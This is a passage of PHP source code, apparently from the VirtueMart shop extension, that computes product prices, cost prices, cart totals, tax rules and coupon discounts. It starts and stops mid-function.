$this->productPrices['discountedPriceWithoutTax'] = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $this->productPrices['basePrice']),'discountedPriceWithoutTax'); if ($override==-1) { $this->productPrices['discountedPriceWithoutTax'] = $product_override_price; } $priceBeforeTax = !empty($this->productPrices['discountedPriceWithoutTax']) ? $this->productPrices['discountedPriceWithoutTax'] : $this->productPrices['basePrice']; $this->productPrices['priceBeforeTax'] = $priceBeforeTax; $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $priceBeforeTax, true),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $priceBeforeTax; $this->productPrices['taxAmount'] = $this->roundInternal($salesPrice - $priceBeforeTax); if(!empty($this->rules['VatTax'])){ $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $salesPrice; } $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $this->productPrices['salesPriceWithDiscount'] = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $salesPrice),'salesPriceWithDiscount'); // vmdebug('$$override salesPriceWithDiscount',$override,$this->productPrices['salesPriceWithDiscount'],$salesPrice); $this->productPrices['salesPrice'] = !empty($this->productPrices['salesPriceWithDiscount']) ? $this->productPrices['salesPriceWithDiscount'] : $salesPrice; $this->productPrices['salesPriceTemp'] = $this->productPrices['salesPrice']; //Okey, this may not the best place, but atm we handle the override price as salesPrice if ($override==1) { $this->productPrices['salesPrice'] = $product_override_price; // $this->productPrices['discountedPriceWithoutTax'] = $this->product_override_price; // $this->productPrices['salesPriceWithDiscount'] = $this->product_override_price; } else { } if(!empty($product->product_packaging) and $product->product_packaging!='0.0000'){ $this->productPrices['unitPrice'] = $this->productPrices['salesPrice']/$product->product_packaging; } else { $this->productPrices['unitPrice'] = 0.0; } if(!empty($this->rules['VatTax'])){ $this->_revert = true; $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $afterTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $this->productPrices['salesPrice']),'salesPrice'); if(!empty($afterTax)){ $this->productPrices['taxAmount'] = $this->productPrices['salesPrice'] - $afterTax; } $this->_revert = false; } // vmdebug('getProductPrices',$this->productPrices['salesPrice'],$this->product_override_price); //The whole discount Amount // $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['basePrice'] + $this->productPrices['taxAmount'] - $this->productPrices['salesPrice']); $basePriceWithTax = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; //changed // $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $salesPrice); if(empty($this->rules['DBTax'])){ $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $this->productPrices['salesPrice']) * -1; } else { $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['discountedPriceWithoutTax'] - $this->productPrices['basePriceVariant']) * -1; } //price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax // $this->productPrices['priceWithoutTax'] = $this->roundInternal($salesPrice - ($salesPrice - $discountedPrice)); // $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $this->productPrices['priceWithoutTax'] = $salesPrice - $this->productPrices['taxAmount']; if ($override==1 || $this->productPrices['discountedPriceWithoutTax'] == 0) { $this->productPrices['discountedPriceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; } if (!isset($this->productPrices['discountedPriceWithoutTax'])) $this->productPrices['discountedPriceWithoutTax'] = 0.0; $this->productPrices['variantModification'] = $variant; $this->productPrices['DBTax'] = array(); foreach($this->rules['DBTax'] as $dbtax){ $this->productPrices['DBTax'][$dbtax['virtuemart_calc_id']] = array($dbtax['calc_name'],$dbtax['calc_value'],$dbtax['calc_value_mathop'],$dbtax['calc_shopper_published'],$dbtax['calc_currency'],$dbtax['calc_params'], $dbtax['virtuemart_vendor_id'], $dbtax['virtuemart_calc_id']); } $this->productPrices['Tax'] = array(); foreach($this->rules['Tax'] as $tax){ $this->productPrices['Tax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id']); } $this->productPrices['VatTax'] = array(); foreach($this->rules['VatTax'] as $tax){ $this->productPrices['VatTax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id'],); } $this->productPrices['DATax'] = array(); foreach($this->rules['DATax'] as $datax){ $this->productPrices['DATax'][$datax['virtuemart_calc_id']] = array($datax['calc_name'],$datax['calc_value'],$datax['calc_value_mathop'],$datax['calc_shopper_published'],$datax['calc_currency'],$datax['calc_params'], $datax['virtuemart_vendor_id'], $datax['virtuemart_calc_id']); } if(!empty($this->rules['VatTax'])){ //vmdebug('!empty($this->rules["VatTax"]',$this->rules['VatTax']); if(empty($this->_cartData['VatTax'])){ $this->_cartData['VatTax'] = array(); } foreach($this->rules['VatTax'] as &$rule){ if(isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']])){ if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = 0.0; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = 0.0; } $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] += $this->productPrices['taxAmount'] * $this->_product->quantity; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] += $this->productPrices['salesPrice'] * $this->_product->quantity; } else { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']] = $rule; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = $this->productPrices['taxAmount'] * $this->_product->quantity; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = $this->productPrices['salesPrice'] * $this->_product->quantity; } //vmdebug('subtotal vattax id '.$rule['virtuemart_calc_id'].' = '.$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount']); } } // vmdebug('getProductPrices',$this->productPrices); return $this->productPrices; } public function calculateCostprice($productId,$data){ $this->_revert = true; //vmdebug('calculationh.php calculateCostprice ',$data); //vmSetStartTime('calculateCostprice'); if(empty($data['product_currency'])){ $this->_db->setQuery('SELECT * FROM #__virtuemart_product_prices WHERE `virtuemart_product_id`="' . $productId . '" '); $row = $this->_db->loadAssoc(); if ($row) { if (!empty($row['product_price'])) { $this->productCurrency = $row['product_currency']; $this->product_tax_id = $row['product_tax_id']; $this->product_discount_id = $row['product_discount_id']; } else { vmdebug('cost Price empty, if child, everything okey, this is just a dev note'); return false; } } } else { $this->productCurrency = $data['product_currency']; $this->product_tax_id = $data['product_tax_id']; $this->product_discount_id = $data['product_discount_id']; } $this->_db->setQuery('SELECT `virtuemart_vendor_id` FROM #__virtuemart_products WHERE `virtuemart_product_id`="' . $productId . '" '); $single = $this->_db->loadResult(); $this->productVendorId = $single; if (empty($this->productVendorId)) { $this->productVendorId = 1; } $this->_db->setQuery('SELECT `virtuemart_category_id` FROM #__virtuemart_product_categories WHERE `virtuemart_product_id`="' . $productId . '" '); $this->_cats = $this->_db->loadResultArray(); // vmTime('getProductPrices no object given query time','getProductCalcs'); if(VmConfig::get('multix','none')!='none' and empty($this->vendorCurrency )){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } //$this->setCountryState($this->_cart); $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $salesPrice = $data['salesPrice']; $withoutVatTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice)); $withoutVatTax = !empty($withoutVatTax) ? $withoutVatTax : $salesPrice; vmdebug('calculateCostprice',$salesPrice,$withoutVatTax, $data); $withDiscount = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $withoutVatTax)); $withDiscount = !empty($withDiscount) ? $withDiscount : $withoutVatTax; // vmdebug('Entered final price '.$salesPrice.' discount '.$withDiscount); $withTax = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $withDiscount)); $withTax = !empty($withTax) ? $withTax : $withDiscount; $basePriceP = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $withTax)); $basePriceP = !empty($basePriceP) ? $basePriceP : $withTax; $basePrice = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceP)); $basePrice = !empty($basePrice) ? $basePrice : $basePriceP; $productCurrency = CurrencyDisplay::getInstance(); $costprice = $productCurrency->convertCurrencyTo( $this->productCurrency, $basePrice,false); $this->_revert = false; //vmdebug('calculateCostprice',$salesPrice,$costprice, $data); return $costprice; } public function setRevert($revert){ $this->_revert = $revert; } protected function fillVoidPrices(&$prices) { if (!isset($prices['basePrice'])) $prices['basePrice'] = null; if (!isset($prices['basePriceVariant'])) $prices['basePriceVariant'] = null; if (!isset($prices['basePriceWithTax'])) $prices['basePriceWithTax'] = null; if (!isset($prices['discountedPriceWithoutTax'])) $prices['discountedPriceWithoutTax'] = null; if (!isset($prices['priceBeforeTax'])) $prices['priceBeforeTax'] = null; if (!isset($prices['taxAmount'])) $prices['taxAmount'] = null; if (!isset($prices['salesPriceWithDiscount'])) $prices['salesPriceWithDiscount'] = null; if (!isset($prices['salesPriceTemp'])) $prices['salesPriceTemp'] = null; if (!isset($prices['salesPrice'])) $prices['salesPrice'] = null; if (!isset($prices['discountAmount'])) $prices['discountAmount'] = null; if (!isset($prices['priceWithoutTax'])) $prices['priceWithoutTax'] = null; if (!isset($prices['variantModification'])) $prices['variantModification'] = null; if (!isset($prices['unitPrice'])) $prices['unitPrice'] = null; return $prices; } /** function to start the calculation, here it is for the invoice in the checkout * This function is partly implemented ! * * The function calls getProductPrices for every product except it is already known (maybe changed and adjusted with product amount value * The single prices gets added in an array and already summed up. * * Then simular to getProductPrices first the effecting rules are determined and calculated. * Ah function to determine the coupon that effects the calculation is already implemented. But not completly in the calculation. * * Subtotal + Tax + Discount = Total * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $productIds The Ids of the products * @param int $cartVendorId The Owner of the cart, this can be ignored in vm1.5 * @return int $prices An array of the prices * 'resultWithOutTax' The summed up baseprice of all products * 'resultWithTax' The final price of all products with their tax, discount and so on * 'discountBeforeTax' discounted price without tax which affects only the checkout (the tax of the products is in it) * 'discountWithTax' discounted price taxed * 'discountAfterTax' final result * */ // function getCheckoutPrices($productIds,$variantMods=array(), $cartVendorId=1,$couponId=0,$shipId=0,$paymId=0){ public function getCheckoutPrices($cart, $checkAutomaticSelected=true) { if(isset($this->_cartPrices) and is_array($this->_cartPrices) and count($this->_cartPrices)>0 and isset($this->_cartData['totalProduct']) and $this->_cartData['totalProduct']==count($cart->products) and $cart->couponCode == $this->couponCode and $checkAutomaticSelected ===$this->_checkAutomaticSelected ){ return $this->_cartPrices; } $this->_checkAutomaticSelected = $checkAutomaticSelected; $this->_cart = $cart; $this->couponCode = $cart->couponCode; $this->inCart = TRUE; $pricesPerId = array(); $this->_cartPrices = array(); $this->_cartData = array(); $resultWithTax = 0.0; $resultWithOutTax = 0.0; $this->_cartData['VatTax'] = array(); $this->_cartPrices['basePrice'] = 0; $this->_cartPrices['basePriceWithTax'] = 0; $this->_cartPrices['discountedPriceWithoutTax'] = 0; $this->_cartPrices['salesPrice'] = 0; $this->_cartPrices['taxAmount'] = 0; $this->_cartPrices['salesPriceWithDiscount'] = 0; $this->_cartPrices['discountAmount'] = 0; $this->_cartPrices['priceWithoutTax'] = 0; $this->_cartPrices['subTotalProducts'] = 0; $this->_cartData['duty'] = 1; $this->_cartData['payment'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartData['paymentName'] = ''; $cartpaymentTax = 0; $this->setCountryState($cart); $this->_amountCart = 0; $this->_cartData['totalProduct'] = count($cart->products); foreach ($cart->products as $name => $product) { //$product = $productModel->getProduct($product->virtuemart_product_id,false,false,true); $productId = $product->virtuemart_product_id; if (empty($product->quantity) || empty($product->virtuemart_product_id)) { JError::raiseWarning(710, 'Error the quantity of the product for calculation is 0, please notify the shopowner, the product id ' . $product->virtuemart_product_id); continue; } $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $variantmods = $this->parseModifier($name); $variantmod = $this->calculateModificators($product, $variantmods); $cartproductkey = $name; //$product->virtuemart_product_id.$variantmod; $product->prices = $pricesPerId[$cartproductkey] = $this->getProductPrices($product, $variantmod, $product->quantity, true, false); $this->_amountCart += $product->quantity; $this->_cartPrices[$cartproductkey] = $product->prices; if($this->_currencyDisplay->_priceConfig['basePrice']) $this->_cartPrices['basePrice'] += self::roundInternal($product->prices['basePrice'],'basePrice') * $product->quantity; // $this->_cartPrices['basePriceVariant'] = $this->_cartPrices['basePriceVariant'] + $pricesPerId[$product->virtuemart_product_id]['basePriceVariant']*$product->quantity; if($this->_currencyDisplay->_priceConfig['basePriceWithTax']) $this->_cartPrices['basePriceWithTax'] += self::roundInternal($product->prices['basePriceWithTax']) * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountedPriceWithoutTax']) $this->_cartPrices['discountedPriceWithoutTax'] += self::roundInternal($product->prices['discountedPriceWithoutTax'],'discountedPriceWithoutTax') * $product->quantity; if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices[$cartproductkey]['subtotal_with_tax'] = self::roundInternal($product->prices['salesPrice'],'salesPrice') * $product->quantity; $this->_cartPrices['salesPrice'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } if($this->_currencyDisplay->_priceConfig['taxAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_tax_amount'] = self::roundInternal($product->prices['taxAmount'],'taxAmount') * $product->quantity; $this->_cartPrices['taxAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_tax_amount']; } if($this->_currencyDisplay->_priceConfig['salesPriceWithDiscount']) $this->_cartPrices['salesPriceWithDiscount'] += self::roundInternal($product->prices['salesPriceWithDiscount'],'salesPriceWithDiscount') * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_discount'] = self::roundInternal($product->prices['discountAmount'],'discountAmount') * $product->quantity; $this->_cartPrices['discountAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_discount']; } if($this->_currencyDisplay->_priceConfig['priceWithoutTax']) { $this->_cartPrices[$cartproductkey]['subtotal'] = self::roundInternal($product->prices['priceWithoutTax'],'priceWithoutTax') * $product->quantity; $this->_cartPrices['priceWithoutTax'] += $this->_cartPrices[$cartproductkey]['subtotal']; } } $this->_product = null; $this->_cartData['DBTaxRulesBill'] = $this->gatherEffectingRulesForBill('DBTaxBill'); $this->_cartData['taxRulesBill'] = $this->gatherEffectingRulesForBill('TaxBill'); $this->_cartData['DATaxRulesBill'] = $this->gatherEffectingRulesForBill('DATaxBill'); $this->_cartPrices['salesPriceDBT'] = array(); $this->_cartPrices['taxRulesBill'] = array(); $this->_cartPrices['DATaxRulesBill'] = array(); foreach ($cart->products as $cartproductkey => $product) { //for Rules with Categories foreach($this->_cartData['DBTaxRulesBill'] as &$dbrule){ if(!empty($dbrule['calc_categories'])){ if(!isset($dbrule['subTotal'])) $dbrule['subTotal'] = 0.0; $set = array_intersect($dbrule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $dbrule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$dbrule['calc_name'].' is per category subTotal '.$dbrule['subTotal']); // subarray with subTotal for each taxID necessary to calculate tax correct if there are more than one VatTaxes if(!isset($dbrule['subTotalPerTaxID'])) $dbrule['subTotalPerTaxID'] = array(); if($product->product_tax_id != 0) { if(!isset($dbrule['subTotalPerTaxID'][$product->product_tax_id])) $dbrule['subTotalPerTaxID'][$product->product_tax_id] = 0.0; $dbrule['subTotalPerTaxID'][$product->product_tax_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } else { foreach($this->allrules[$product->virtuemart_vendor_id]['VatTax'] as $virtuemart_calc_id => $rule){ $set = array_intersect($rule['cats'],$product->categories); if(count($set)>0){ if(!isset($dbrule['subTotalPerTaxID'][$virtuemart_calc_id])) $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] = 0.0; $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } //} } } } // subTotal for each taxID necessary, equal if calc_categories exists ore not if(!empty($this->_cartData['taxRulesBill'])) { foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; if($product->product_tax_id != 0) { if($product->product_tax_id == $k) { $trule['subTotal']+= $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } elseif(!empty($trule['calc_categories'])){ $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); } } else { $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } /* foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!empty($trule['calc_categories'])){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); //} } } } */ foreach($this->_cartData['DATaxRulesBill'] as &$darule){ if(!empty($darule['calc_categories'])){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; $set = array_intersect($darule['calc_categories'],$product->categories); if(count($set)>0){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; //foreach($set as $s){ $darule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; //} } } } } // Calculate the discount from all rules before tax to calculate billTotal $cartdiscountBeforeTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'])); // We need the discount per category for each taxID to reduce the total discount before calculate percentage from hole cart discounts $categorydiscountBeforeTax = 0; foreach ($this->_cartData['DBTaxRulesBill'] as &$rule) { if (!empty($rule['subTotalPerTaxID'])) { foreach ($rule['subTotalPerTaxID'] as $k=>$DBTax) { $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'], $k, true)); if (!empty($this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'])) { $categorydiscountBeforeTax += $this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax']; } // vmdebug('$categorydiscountBeforeTax',$categorydiscountBeforeTax); } } } // combine the discounts before tax for each taxID foreach ($this->_cartData['VatTax'] as &$rule) { if (!empty($rule['DBTax'])) { $sum = 0; foreach ($rule['DBTax'] as $key=>$val) { $sum += $val; } $rule['DBTax'] = $sum; } } // calculate the new subTotal with discounts before tax, necessary for billTotal $toTax = $this->_cartPrices['salesPrice'] + $cartdiscountBeforeTax; //Avalara wants to calculate the tax of the shipment. Only disadvantage to set shipping here is that the discounts per bill respectivly the tax per bill // is not considered. $this->calculateShipmentPrice($cart, $checkAutomaticSelected); // next step is handling a coupon, if given $this->_cartData['vmVat'] = TRUE; $this->_cartPrices['salesPriceCoupon'] = 0.0; if (!empty($cart->couponCode)) { $this->couponHandler($cart->couponCode); } // now calculate the discount for hole cart and reduce subTotal for each taxRulesBill, to calculate correct tax, also if there are more than one tax rules $totalDiscountBeforeTax = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { if(!empty($rule['subTotal'])) { $rule['percentage'] = $rule['subTotal'] / $this->_cartPrices['salesPrice']; if (isset($this->_cartData['VatTax'][$k]['DBTax'])) { $rule['subTotal'] += $this->_cartData['VatTax'][$k]['DBTax']; } $rule['subTotal'] += $totalDiscountBeforeTax * $rule['percentage']; } } // now each taxRule subTotal is reduced with DBTax and we can calculate the cartTax $cartTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['taxRulesBill'], $toTax)); // toDisc is new subTotal after tax, now it comes discount afterTax and we can calculate the final cart price with tax. $toDisc = $toTax + $cartTax; $cartdiscountAfterTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DATaxRulesBill'], $toDisc)); $this->_cartPrices['withTax'] = $toDisc + $cartdiscountAfterTax; $this->calculatePaymentPrice($cart, $checkAutomaticSelected); // $sub =!empty($this->_cartPrices['discountedPriceWithoutTax'])? $this->_cartPrices['discountedPriceWithoutTax']:$this->_cartPrices['basePrice']; if($this->_currencyDisplay->_priceConfig['salesPrice']) $this->_cartPrices['billSub'] = $this->_cartPrices['basePrice'] + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; // $this->_cartPrices['billSub'] = $sub + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; if($this->_currencyDisplay->_priceConfig['discountAmount']) $this->_cartPrices['billDiscountAmount'] = $this->_cartPrices['discountAmount'] + $cartdiscountBeforeTax + $cartdiscountAfterTax;// + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue'] ; if($this->_cartPrices['salesPriceShipment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPriceShipment']; if($this->_cartPrices['salesPricePayment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPricePayment']; if($this->_currencyDisplay->_priceConfig['taxAmount']) $this->_cartPrices['billTaxAmount'] = $this->_cartPrices['taxAmount'] + $this->_cartPrices['shipmentTax'] + $this->_cartPrices['paymentTax'] + $cartTax; //+ $this->_cartPrices['withTax'] - $toTax //The coupon handling is only necessary if a salesPrice is displayed, otherwise we have a kind of catalogue mode if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices['billTotal'] = $this->_cartPrices['salesPriceShipment'] + $this->_cartPrices['salesPricePayment'] + $this->_cartPrices['withTax'] + $this->_cartPrices['salesPriceCoupon']; if($this->_cartPrices['billTotal'] < 0){ $this->_cartPrices['billTotal'] = 0.0; } if($this->_cartData['vmVat'] and (!empty($cartdiscountBeforeTax) and isset($this->_cartData['VatTax']) and count($this->_cartData['VatTax'])>0) or !empty($cart->couponCode)){ //$this->_revert = true; $allTotalTax = 0.0; $totalDiscount = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; // vmdebug(' salesPriceCoupon = '. $this->_cartPrices['salesPriceCoupon'].' billDiscountAmount = '.$this->_cartPrices['billDiscountAmount']); foreach($this->_cartData['VatTax'] as &$vattax){ //$vattax['DBTax'] = var_dump(array_sum($vattax['DBTax'])); if (isset($vattax['subTotal'])) { $vattax['percentage'] = $vattax['subTotal'] / $this->_cartPrices['salesPrice']; } $vattax['DBTax'] = isset($vattax['DBTax']) ? $vattax['DBTax'] : 0; if (isset($vattax['calc_value']) && isset($vattax['percentage'])) { $vattax['discountTaxAmount'] = round(($totalDiscount * $vattax['percentage'] + $vattax['DBTax']) / (100 + $vattax['calc_value']) * $vattax['calc_value'],$this->_currencyDisplay->_priceConfig['taxAmount'][1]); } //$vattax['subTotal'] = $vattax['subTotal'] - $vattax['percentage'] * $totalDiscount; if (isset($vattax['discountTaxAmount'])) $this->_cartPrices['billTaxAmount'] += $vattax['discountTaxAmount']; $allTotalTax += $totalDiscount; //$this->_cartPrices['billTaxAmount'] += $vattax['subTotal']; //vmdebug('my vattax recalc data the percentage = '.$vattax['percentage'].' salesPrice = '.$this->_cartPrices['salesPrice'].' $totalDiscount = '. $totalDiscount.' subtotal = '.$vattax['subTotal']); } } if($this->_cartPrices['billTaxAmount'] < 0){ $this->_cartPrices['billTaxAmount'] = 0.0; } } //Calculate VatTax result if ($this->_cartPrices['shipment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['shipment_calc_id']]['shipmentTax'] = $this->_cartPrices['shipmentTax']; if ($this->_cartPrices['payment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['payment_calc_id']]['paymentTax'] = $this->_cartPrices['paymentTax']; foreach($this->_cartData['VatTax'] as $k=>&$vattax){ $vattax['result'] = isset($vattax['taxAmount']) ? $vattax['taxAmount'] : 0; if (isset($vattax['discountTaxAmount'])) $vattax['result'] += $vattax['discountTaxAmount']; if (isset($vattax['shipmentTax'])) $vattax['result'] += $vattax['shipmentTax']; if (isset($vattax['paymentTax'])) $vattax['result'] += $vattax['paymentTax']; if (!isset($vattax['virtuemart_calc_id'])) $vattax['virtuemart_calc_id'] = $this->getCalcRuleData($k)->virtuemart_calc_id; if (!isset($vattax['calc_name'])) $vattax['calc_name'] = $this->getCalcRuleData($k)->calc_name; if (!isset($vattax['calc_value'])) $vattax['calc_value'] = $this->getCalcRuleData($k)->calc_value; } foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { $this->_cartData['VatTax'][$k]['result'] = isset($this->_cartData['VatTax'][$k]['result']) ? $this->_cartData['VatTax'][$k]['result'] : 0; $this->_cartData['VatTax'][$k]['result'] += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); if(!isset($this->_cartData['VatTax'][$k]['virtuemart_calc_id'])) $this->_cartData['VatTax'][$k]['virtuemart_calc_id'] = $rule['virtuemart_calc_id']; if(!isset($this->_cartData['VatTax'][$k]['calc_name'])) $this->_cartData['VatTax'][$k]['calc_name'] = $rule['calc_name']; if(!isset($this->_cartData['VatTax'][$k]['calc_value'])) $this->_cartData['VatTax'][$k]['calc_value'] = $rule['calc_value']; } //$this->_cartData['taxRulesBill'] = array_merge($this->_cartData['taxRulesBill'],$this->_cartData['VatTax']); //vmdebug('$this->_cartData',$this->_cartData); //vmdebug('$this->_cartPrices',$this->_cartPrices); return $this->_cartPrices; } /** * Get the data of the CalcRule ID if it is not there * @author Maik Kuennemann * @param $VatTaxID ID of the taxe rule */ protected function getCalcRuleData($calcRuleID) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $calcRuleID . '"'; $this->_db->setQuery($q); $calcRule = $this->_db->loadObject(); return $calcRule; } /** * Get coupon details and calculate the value * @author Oscar van Eijk * @param $_code Coupon code */ protected function couponHandler($_code) { JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponHandler', array($_code,&$this->_cartData, &$this->_cartPrices)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); if (!($_data = CouponHelper::getCouponDetails($_code))) { return; // TODO give some error here } $_value_is_total = ($_data->percent_or_total == 'total'); $this->_cartData['couponCode'] = $_code; $this->_cartData['couponDescr'] = ($_value_is_total ? '' : (round($_data->coupon_value) . '%') ); $this->_cartPrices['salesPriceCoupon'] = ($_value_is_total ? $_data->coupon_value * -1 : ($this->_cartPrices['salesPrice'] * ($_data->coupon_value / 100)) * -1 ); // TODO Calculate the tax $this->_cartPrices['couponTax'] = 0; $this->_cartPrices['couponValue'] = $this->_cartPrices['salesPriceCoupon'] - $this->_cartPrices['couponTax']; //$this->_cartPrices['billTotal'] -= $this->_cartPrices['salesPriceCoupon']; //if($this->_cartPrices['billTotal'] < 0){ // $this->_cartPrices['billTotal'] = 0.0; //} } /** * Function to calculate discount/tax of cart rules. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers, Maik Künnemann * * @return int $price the discount/tax */ function cartRuleCalculation($rules, $baseprice, $TaxID = 0, $DBTax = false) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); if (isset($rulesEffSorted)) { $discount = 0; foreach ($rulesEffSorted as &$rule) { if(isset($rule['subTotal'])) { $cIn = $rule['subTotal']; } else { $cIn = $baseprice; } $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $this->roundInternal($this->roundInternal($cOut) - $cIn); $discount += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); 